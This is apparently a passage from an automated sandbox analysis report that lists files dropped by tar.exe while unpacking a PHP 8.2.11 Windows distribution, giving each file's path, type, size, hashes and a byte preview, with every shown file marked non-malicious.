SHA-512:	763F52EBDF16B27F9B1C3D6688D070A1D4B7C3A53CFD46F9C30F4A566A625B383C842C5810B8336AAB28FD6C658BFF0804987F79B36E5FEB4D758411590A8D01
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................#...........M............................J.........&..J......J......J.O....J......Rich...................PE..d...Z..e.........." .....p...r.......s....................................... ............`A....................................................................................$...p...T.......................(......8............................................text...Hn.......p.................. ..`.rdata...Y.......Z...t..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zip.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	380928
Entropy (8bit):	6.573576153900004
Encrypted:	false
SSDEEP:	6144:WYgi65NCJStw9xoJAJP/BddoHKepKyRG30TQVL2hCD+PANmxIzkZwr72HEJ+vy8M:lgi65bSxv66flOrMx4FBPmPDtNB6M
MD5:	138DB26956B7B1639327D17E0516DE4C
SHA1:	55731C5E2AE2EB81561BC87825692399E7589408
SHA-256:	F57884D64BF09E26B4673D4F8F096B7E5159DC87613D4DF141CE55B9F1DA8F45
SHA-512:	7A4FD0391075C6EA3DD01CF1F29D640FCB0EF9D3DA272447E77A9B7E4DD476F40FE41BC4DCF70178B0FE698682E3C3529570023693DAE6AF8F4D69750E0F7F26
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........mkT.............t.......y.......c.......y.......y.......y.......t.......c.......`......}y.......y...............y.......y.......y.......y......Rich............PE..d......e.........." ......................................................... ......1.....`A.........................................g.......r..........<.......l3..................$'..T............................'..8............0..(............................text...8........................... ..`.rdata..DY...0...Z..................@..@.data...P"...........p..............@....pdata..l3.......4..................@..@.rsrc...<...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\extras\ssl\legacy.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	157184
Entropy (8bit):	4.852594644989125
Encrypted:	false
SSDEEP:	1536:6jmlWwhDgFPKehTUzo/6NXcyV+B4Y976VmCrv+2wbaLx5tVdWxOk:6mlLOb26H6VmCg4XQck
MD5:	45EF9FDFDF58DD21849618344FCD5013
SHA1:	0F1C4F5A140119D0F58A15892B815C9BD18BB8E7
SHA-256:	8AB0434565C24EE9782F82D9992226274F361F46AF4DF8B6F16E836724AB355A
SHA-512:	12227228BE5064B9803B2772682E51A041FBFA22A7AEA6D74C1D7D0841538A0531D561B75287AF5BDA36A211C7B4A30C12BB43D2A437951AABE92432E5FC064B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9B..W...W...W.......W..V...W...V...W..R...W..S...W..T...W...V...W...V.1.W...W...W...S...W...W...W.......W...U...W.Rich..W.................PE..d....I.c.........." ......................................................................`..........................................1..`....v..d.......i....P..................P.......8...............................8............p...............................text...T........................... ..`.rdata..@...........................@..@.data...A....@......................@....pdata.......P....... ..............@..@.idata..L....p.......6..............@..@.00cfg..Q............R..............@..@.rsrc...i............T..............@..@.reloc...............\..............@..B................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\extras\ssl\openssl.cnf

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12682
Entropy (8bit):	5.013193619855737
Encrypted:	false
SSDEEP:	192:SGlLMl9scvTksXYNO6VHLiTk2Jf19wZXF4U2r0exc7Pf+LeHy8PoYBBzRiDAlsRq:BBkwsXgHLiTkifrMXF4j0C6vSccs
MD5:	20FC758B561CE2E76E71AC40A287DEB6
SHA1:	F4C976F454396C183B49EE9FE464FDEB9A9512F2
SHA-256:	A41ADAD50F74ECFDD9209CFE2C31F3BE2ABE4C15CE92C958C063C97C14C13B81
SHA-512:	7869F117BBC1228512A0DD24F9867EB319486C3268B9566F85DC4CBB71183A935C15F3873E0CEF93BD828D399BC9F7577B13797DCD1A942F232A9F72A6E7161C
Malicious:	false
Preview:	#..# OpenSSL example configuration file...# See doc/man5/config.pod for more info...#..# This is mostly being used for generation of certificate requests,..# but may be used for auto loading of providers....# Note that you can include other files from the main configuration..# file using the .include directive...#.include filename....# This definition stops the following lines choking if HOME isn't..# defined...HOME...= ..... # Use this in order to automatically load providers...openssl_conf = openssl_init....# Comment out the next line to ignore configuration errors..config_diagnostics = 1....# Extra OBJECT IDENTIFIER info:..# oid_file = $ENV::HOME/.oid..oid_section = new_oids....# To use this configuration file with the "-extfile" option of the..# "openssl x509" utility, name here the section containing the..# X.509v3 extensions to use:..# extensions..=..# (Alternatively, use a configuration file that has only..# X.509v3 extensions in its main [= default] section.)....[ new_oid

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\glib-2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1609728
Entropy (8bit):	6.490135446236633
Encrypted:	false
SSDEEP:	49152:y6KDdiyQNBpp2KE/nh6rVpgJqIaDUf9LSotvev:y6CMyQNomV2qVDUsZ
MD5:	BC1223D3D61C55D3897A83C2B5B61CDD
SHA1:	30C565CF4DCBA732EA0790E0CAD79184B955AA19
SHA-256:	94D07369EA7B82316A4E40CFF012E2FDC14692000976C10594259DF2568700CB
SHA-512:	1D7D564E8606086643777800BF20B06F134737FA908D90CC7EDE8075517287916F977B225864EE837ADB15969A78E7499066C6ECB9F25F0A13F8AC07C5E2E982
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".K.f.%.f.%.f.%.o...p.%.4.$.d.%....a.%.4. .m.%.4.!.n.%.4.&.b.%.=.$.k.%.f.$...%..-...%..%.g.%...g.%.f.g.%..'.g.%.Richf.%.........PE..d...&.Eb.........." .....B...Z......<..................................................... .................................................Lu..\|.......p..............................p...........................`...8............`...............................text...XA.......B.................. ..`.rdata.......`...0...F..............@..@.data...@?.......0...v..............@....pdata..............................@..@.rsrc...p...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\gmodule-2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.12600330611783
Encrypted:	false
SSDEEP:	192:ZR8n9fDWT6s25cmC26v56B0q7rRhUhU0pvXZWaRgemrU/Zh+:ZQRWT9k6TqXyU0pRVRgemrch+
MD5:	80C1039FBF71AE2B495BE6A74D51B044
SHA1:	D6F3867FB7709FA95E2B6C57C484AF2959600DF6
SHA-256:	DAE2CF13A53120FD2CE54D3AB3DE9E7561C8081262B218EF30D69E50228E91E3
SHA-512:	7277741352EF95187A41EAB720609200D57956ACAAF5A2CA7D2466BD5B031885360695823431D9BA701DAEBA4C8A8039116C68B147FECAC21393DF32FC5BA2F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.Q.>...>...>...F-..>...K...>...QC..>...K...>...K...>...K...>...K...>...V...>...>...>...K...>...K...>...KA..>...>)..>...K...>..Rich.>..................PE..d...'.Eb.........." ..... ...,...... #.................................................... ..........................................<..H...(>.......p..8....`..................4....5..p............................5..8............0..8............................text...H........ .................. ..`.rdata.......0.......$..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc...8....p.......B..............@..@.reloc..4............H..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icudt71.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30422016
Entropy (8bit):	6.21588322660254
Encrypted:	false
SSDEEP:	393216:2+o33irYVI31BLF8diXUxDm7JlIWlj3iUl2noLg9WbkKyrDS/aOO47T/9r0PZxFB:0CrYVcbG
MD5:	298086405CD21481272FC4564296CAF4
SHA1:	EEB48769878CB95C97A7A35433E114A7C13A293A
SHA-256:	66941961F443446824B30BBD575AAC5D494F08D6709E65D0B6570D6315DDE0FE
SHA-512:	8D1AACC7014F3C602D366C5C6FBEE4A2ECCC726EE699D7EC6268F69AAB5BE28830E0C30E93CA25BFB801355D7557E34A026357B8249F850B295AEBC150E6FEB3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=..S...S...S...S...S.f.S...S.f.....S.f.Q...S.Rich..S.........................PE..d....b.........." .........0...............................................P............`.........................................p7..L............@..............................P7...............................................................................rdata..P(.......*..................@..@.rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuin71.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3031552
Entropy (8bit):	6.5781376350329195
Encrypted:	false
SSDEEP:	49152:496EAQk79dx9iAUmtjXxOGyXVTrpRISk:mG9dP/eRe
MD5:	7E30DAE286E7A59499B67D9033A888BA
SHA1:	90D4862DE784510FE8E2C55E2AFDD4729839BA73
SHA-256:	F63A98728417E074DAED1BE9837E53E738C9996EE7720055127D8883397C4946
SHA-512:	F2BC1A4E2CABA40137AECF0C3C4C9E69171A0E21C298BF0B529E06CD4215207EBFEFDEE3E6F5955C9FED7E85C5F2F6D3EEF8FF23830A2AE601E6C6A2CD7F7DFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g..C...C...C...J~..M....s..G....s..T....s..K....s..G....n..A....s..@...C........s.......s..B....sd.B...C...B....s..B...RichC...........PE..d...y..b.........." ......................................................................`......................................... .$..r....+......@..@.....,..n...........P...+.. . .T..................... .(..... .8............................................text............................... ..`.rdata..>...........................@..@.data....v...P,..^...@,.............@....pdata...n....,..p....,.............@..@.rsrc...@....@......................@..@.reloc...+...P...,..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuio71.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60928
Entropy (8bit):	5.872647020600986
Encrypted:	false
SSDEEP:	1536:9io8ACxB+mfWDrA2FJwJwC0jz2j/+Yr/C:kfcGWDMEJwJwpjAV6
MD5:	952F6384DE9B6158BAC41E55538B6C70
SHA1:	9D45E1789EB910794403F7AF21AEDD51ECAFCFAF
SHA-256:	10D43C3BA11283D65F5CB2971908483B0648D99613B22F780B79BD8E34D9EC5D
SHA-512:	2BCA8D31BED7A5ADD815F23D5D0ADA9250AC18D023668E98F4AF57982A17D8D1711C6AEB27132F6F91D628DE3EDF59CBD84504032375031086DDE72F40808290
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.0...^...^...^.......^.V.[...^.V.Z...^.V.]...^.V._...^._._...^..._...^..._.^...W...^...^...^......^.......^...\...^.Rich..^.................PE..d......b.........." .........`...............................................0............`......................................... ...................@.................... ......x...T..............................8...............x............................text............................... ..`.rdata...@.......B..................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuuc71.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2253312
Entropy (8bit):	6.60385820505218
Encrypted:	false
SSDEEP:	49152:79cdjhRD3enOQjzXfaFEqYWKrLJK+HMkVhyG:7907enO6aYxrR
MD5:	811D9E193A12B1AF1BB1FA71C3593107
SHA1:	E016519380A37E2296EB6C361FA52A5AD7A4524D
SHA-256:	7C6C41ADD54BC690A37343581AA0B79E0B601BFD995F0EC6ED0B21C08C94D34F
SHA-512:	087D1143D77AF9E29F5F6919511DF72C379332FBA6C80F290280937B56B52CC7836ABE117EEAE079E82799EE1ACBDC1929AC093A616D5F620833FD7048F6B77B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......8.+*\|fEy\|fEy\|fEyu..ynfEy..@xhfEy..AxtfEy..FxxfEy..DxzfEy...y~fEy'.DxxfEy..Dx.fEy\|fDy.fEy..Lx.fEy..Ex}fEy...y}fEy\|f.y}fEy..Gx}fEyRich\|fEy........................PE..d......b.........." ................p........................................."...........`.........................................`...8....(!.@....p".H.....!...............".<+..@...T...............................8............................................text............................... ..`.rdata...F.......H..................@..@.data....5...@!......"!.............@....pdata........!......>!.............@..@.rsrc...H....p".......".............@..@.reloc..<+...."..,...6".............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\lib\enchant\libenchant2_hunspell.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475648
Entropy (8bit):	6.989030023863517
Encrypted:	false
SSDEEP:	12288:NE82kBAHEvlAs6P9jEGdYFAPsByypqSFO2y:j2kBAHE+s6P9jEG+F3ByKqSY2y
MD5:	492FC6FADC00402CDC90599AAB630763
SHA1:	A4A5FB9C42B6D85518BEF69126F6EE534E547A74
SHA-256:	A36C34AA22EC0D718BF2709D76F79365EFFBE238292C7800D678CB9EA0AE58AF
SHA-512:	4305975A8B84601FBA0FCC8255461DC7118EDA3D1E49CCCD97E26B4CA114B92917FDB964459639D3B7654E2A018119D241C2CD9710D78D8057725E30669365FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.....tB..tB..tB...B..tB.$.B..tB..pC..tB..wC..tB..qC..tB..uC..tB..uC..tBS.uC..tB\|.uC..tB..uB..tB..}C..tB..tC..tB..B..tB..vC..tBRich..tB................PE..d... ?.^.........." .................q.................................................... .............................................d...T........`.......@...............p..t.......p................... ...(.......0............................................text............................... ..`.rdata...M.......N..................@..@.data...XD.......@..................@....pdata.......@....... ..............@..@.rsrc........`.......>..............@..@.reloc..t....p.......@..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libcrypto-3-x64.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5202432
Entropy (8bit):	5.964268397464083
Encrypted:	false
SSDEEP:	98304:Ff+zdIUupuTXfY8Q2I8PFj1CPwDvt3uFcDC4AB:B+IUupuTXfY8Q2I8dj1CPwDvt3uFcDCp
MD5:	DB14ED0FBF1A8F0379A506F733DAE5FA
SHA1:	3EA7CF3264F5D27C843A19730E67EF78D2CD9AD6
SHA-256:	3918BF3C2DBE2767FBA9C6AC2BFD41BD3421CFCA1F637AC7F729123B4F13230B
SHA-512:	EFA441C47DC4627F8BCF6A7894B48FF272F0ACAB35162DF78D05FFC3563995AE6AD406378EDE4ABB6842932627064CC90C50F971542A4535FF07C2B5F39793B1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V.}...}...}....?..}.......}.......}.......}.......}...}..\}.......}...}...}..Z....~..Z....}..Z.S..}..Z....}..Rich.}..........................PE..d....E.c.........." .....^7..6......S.........................................O...........`..........................................KH.......N.T.....O.s.....K..............O....\|4D.8............................4D.8.............N..............................text....]7......^7................. ..`.rdata.......p7......b7.............@..@.data....t...`K..@...HK.............@....pdata........K.......K.............@..@.idata...)....N..*...\N.............@..@.00cfg..Q.....N.......N.............@..@.rsrc...s.....O.......N.............@..@.reloc..3.....O.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libenchant2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	5.724441360615926
Encrypted:	false
SSDEEP:	768:NyBFBd36dyXiPL+rWxCdhnp1yYjm7KS0GkpuJ1yD2HFGx:0BHd36dyXSwWxCdHgmkkpxD2HFm
MD5:	BD002A5C73D47A875ED491191B231707
SHA1:	1EA6CEA8AC04AFA4F454AB912B5C743990F01992
SHA-256:	3AB82CE56DDF53F938C0BA7BF8BC9F64C40AC3BA7A99FB60A3E7B435E314991A
SHA-512:	1F2E184135FC1E69EA4254300F79553A46F10A972D2C8EF87B8BB040229570FF704B6B58807847F7470E461943ABF5B364206B225036627907F31D07D78910DC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........X..X..X..Q.K.P..S..Z...g..Y..S..S..S..P..S..Z.....Z..,..]..X..,.....Z.....Y....'.Y..X.O.Y.....Y..RichX..................PE..d....?.^.........." .....Z...N......`_.................................................... .....................................................................h...............$....}..p............................~..0............p...............................text....X.......Z.................. ..`.rdata..H0...p...2...^..............@..@.data...H...........................@....pdata..h...........................@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libpq.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	6.02457503405896
Encrypted:	false
SSDEEP:	6144:Dq/XnHBwK+f9ZO/immLqUfI43z7U8r7apSOOB8trbs:rf9ZO/imm+uQhO4s
MD5:	D448812C0806981E7E0587E8169CF6F2
SHA1:	E859313F5F60E2B96A4470C2AE10F134C4B2C535
SHA-256:	E3AD50C1B4BDFE37F62539C8A8386100933C1273981C54FC748669F5B01BE419
SHA-512:	E8A727D49F5E2785C5D6B1AF63E303E85AD65A2EC7F211901DA59CFD32097E8FBF8A0A5CE72EF8DA448CCACC51BEC9576917EA07577A58414AED321A00B7C59A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............L...L...L..YL...L..M...L..7L...L..M...L..M...L..M...L..M...LP..M...L...L`..LP..M...LP..M...LP.5L...L..]L...LP..M...LRich...L........PE..d...Z..b.........." .....&...H.......$.................................................... ...@.....................................@&..d....6...............p..........................T...............................8............@..(............................text....$.......&.................. ..`.rdata.......@.......*..............@..@.data........`.......<..............@....pdata.......p.......B..............@..@.rsrc................`..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsasl.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	209920
Entropy (8bit):	6.388382267323861
Encrypted:	false
SSDEEP:	3072:IgtirqLNIAE97hd8+Zfy04cMAPRCQRNskTt9jp68qvU:IgW9AOY+8NcMItjh9F68qvU
MD5:	2554BB5EBE5D071E26C0EAF9650A5868
SHA1:	C546EE05C0106D35B6559615B179FB5A0ACD2B2E
SHA-256:	74C0885EC2553A93555469F37F8591C6A162DC8EC35B717653F6351E658F12D8
SHA-512:	B30170423E12DB8799A2F1024F96FF49C35225A6111C1526800EDF64641D2332C5E942B8EF5CF8AE79B73750B4B1548E69CC65317A2587EFD9401C0592F17BCD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w@..3!.3!.3!.:YB.'!.aT.1!.aT.8!.aT.;!.aT.7!..T.5!.hI.4!..T.1!.3!.L!..T.>!..T.2!..T..2!..T.2!.Rich3!.........................PE..d...^..b.........." .....l...........k....................................................`.............................................4...D...@....`.......@..\............p..........T...............................8...............p............................text...Hk.......l.................. ..`.rdata..............p..............@..@.data...A.... ......................@....pdata..\....@... ..................@..@.rsrc........`.......0..............@..@.reloc.......p.......2..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsodium.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	303616
Entropy (8bit):	6.731729252030036
Encrypted:	false
SSDEEP:	6144:fCOR4ryEOtH1TOozgElOeZm7WaW9bmJsV50DEr/ap:fwQ4h7m9bmJbDI
MD5:	CFC9FF4911441D1A771414F99CE84006
SHA1:	E64AB9389795077905210FAE10AE27AECBA6CF33
SHA-256:	E664ECB637867B41F19D0DDAE9019091907035F221C53E96FEE376B93199D852
SHA-512:	D8E1CAF00F241D563159D5B37911E033BF4236C217EBC97560CAD2451E3005113166637233735A0C4ECB7B6007B36E46247003B3C407F3595B83D20696243451
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]...<..<..<..D..<..]S..<..]S..<..]S..<..]S..<...T..<..<..<...L...<...L..<...Lm.<..<..<...L..<..Rich.<..................PE..d....=._.........." .....Z...L......``....................................................`.........................................."...d.............. ...........................p...T.......................(.......0............p...............................text....Y.......Z.................. ..`.rdata.......p... ...^..............@..@.data...X............~..............@....pdata..............................@..@.rsrc... ...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsqlite3.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1646080
Entropy (8bit):	6.4956873496749346
Encrypted:	false
SSDEEP:	24576:RFH7bW6kvdWNX874KGisdYDLcW2ZwETrxvI5EERdWDG9IErt1:n7bcvUmnGdkwW2nxgvgQ
MD5:	6C509A40F1CC1DBC050F7A998C710484
SHA1:	5C329D668FE9910DCB3B8823187981494D3DEE3A
SHA-256:	3ED91FE142C59EF488CA679475F1336EA293C33EE3794448FC03DAF4089E101F
SHA-512:	5421ED0ECD369444FCDFBCA1E911AF5536A6674A0EA30861456E311345FA1DFEFEEED9829416C6B65979CCCAF62C9DF558EB97C6D906E562BCBD26A27C2797D1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n..=..=..=..j=..=...<..=...<..=..=...=...<..=...<...=...<..=...<..=...<..=...<..=Rich..=........PE..d...a<.c.........." .........................................................@............`.............................................."...................@..`............0......`h...............................h..8............0...............................text............................... ..`.rdata..v....0....... ..............@..@.data....>.......4..................@....pdata..`....@.......$..............@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssh2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	380928
Entropy (8bit):	5.760798881399938
Encrypted:	false
SSDEEP:	6144:Ye7ugGStb75Tswr1/m+aPhjHlLjKq0Cov1QcWZlF4AkEEn:Y+GUVTswr1YRHcjvs9jE
MD5:	54C43CF2FFCFE8D96A697071D9B3FC2E
SHA1:	94EB1569EBE42B9497791AD0EF7802F97B9CC406
SHA-256:	82702E6806CA1B2EA0022C036BE67744FFE172C8DE67D86923011C58D5592941
SHA-512:	2BBF4F057166F9CB09374405897BAC33F647D1ED5AC20CC7B2E7A1B588E0319432489D621F2C7A65948EE12CF7B5DE2EA12DA83B65A4F3C36E34F2F8D9E729FC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......F.....g...g...g.......g.P.f...g.P.b...g.P.c...g.P.d...g.g.f...g...c...g..f...g...f...g..c...g..g...g......g.......g..e...g.Rich..g.........................PE..d.....b.........." ......................................................... ............`.........................................Pg..6........................#......................8...............................8............................................text............................... ..`.rdata...]... ...^..................@..@.data...q............d..............@....pdata..t(..........h..............@..@.idata...).........................@..@.00cfg..Q...........................@..@.rsrc...............................@..@.reloc..U...........................@..B................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssl-3-x64.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	777728
Entropy (8bit):	5.557069057741964
Encrypted:	false
SSDEEP:	12288:kmm6Zyc3n26AfDI2vIJfp9mfGIGFe9Xb:Rm6Zv326A7Zvif4GRFe9Xb
MD5:	16FC10BDFC778A54C51CD2EED19739E7
SHA1:	29473B93F50EE9D888BE36F9722EEFF27A3709F9
SHA-256:	5714D27792E21CE06283B526E825E1A85528D441A5BB99CCB2439F8F78D5EE8E
SHA-512:	2279709F73D3D31780EDE0BC69B0D1620E99262F10C122508C075E66F624F6DA2064AA0EAA368C9BF5B2F42ADD3644050A35767CCCE77F4E79BEE0D72927E6E9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=M.Ry,..y,..y,..pTZ.u,..+Y..{,..2T..{,..+Y..r,..+Y..q,..+Y..},...Y..z,..y,..b....Y..H,...Y..x,...Y6.x,...Y..x,..Richy,..........PE..d....I.c.........." .....:..........K........................................0............`..........................................s...Q..8...........i.... ...L..............\.......8...............................8...............8............................text....9.......:.................. ..`.rdata..mu...P...v...>..............@..@.data....N.......H..................@....pdata...U... ...V..................@..@.idata..!b.......d...R..............@..@.00cfg..Q...........................@..@.rsrc...i...........................@..@.reloc..6...........................@..B................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\license.txt

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3272
Entropy (8bit):	5.10056734186515
Encrypted:	false
SSDEEP:	96:LZV3rYJT3rYJ+tMCAWRx6aQktK3VE3zNGC7Sani:VBrsbrsfCHRcaQ0K363xreai
MD5:	67225E6A888BB1FA90425EFD90111E1B
SHA1:	AF2552AE64DBAB8FE3C8D7136223650484F7F695
SHA-256:	A8ED392BC7AE8D633F72FDF900B76975D9DD7E48C74D51ED95393917DD4C5C72
SHA-512:	547CC10FE6E79F836F0DA91B8A27287F39FBB015F2B01857A1EAD9116ADCC1BB69837AAEFFCFBBB9087E7B35C45D7F68CCDED4ADC3597FA959E99A1387572E28
Malicious:	false
Preview:	--------------------------------------------------------------------.. The PHP License, version 3.01..Copyright (c) 1999 - 2022 The PHP Group. All rights reserved...--------------------------------------------------------------------....Redistribution and use in source and binary forms, with or without..modification, is permitted provided that the following conditions..are met:.... 1. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer..... 2. Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in.. the documentation and/or other materials provided with the.. distribution..... 3. The name "PHP" must not be used to endorse or promote products.. derived from this software without prior written permission. For.. written permission, please contact group@php.net..... 4. Products derived from this s

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\news.txt

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	47316
Entropy (8bit):	5.141064305688242
Encrypted:	false
SSDEEP:	768:SLG7dPw6AEradMRs6tiwZKXT/QbuchhtNUmczPs5wl2cYEZjYz9CfoC:S2VAEwMRhIwonuHUmczPswl2cYujICb
MD5:	7D238733187F4B0E28BBE451A9ED342B
SHA1:	47CCD75917F603A3699C19618407E3BCEF7A2EC6
SHA-256:	5FBE0D7759BCDE9CA354A3EF9C819A23198053DF968277AD58E678FA28C5E454
SHA-512:	92398BAD15A608E7397C6370A6C25019E2E8DB50AC643140A895B21FA00131103DB5DD7ACF77A3B8A68CFCDA28AAD9A2A83C1EF45E101B98065F855E74459328
Malicious:	false
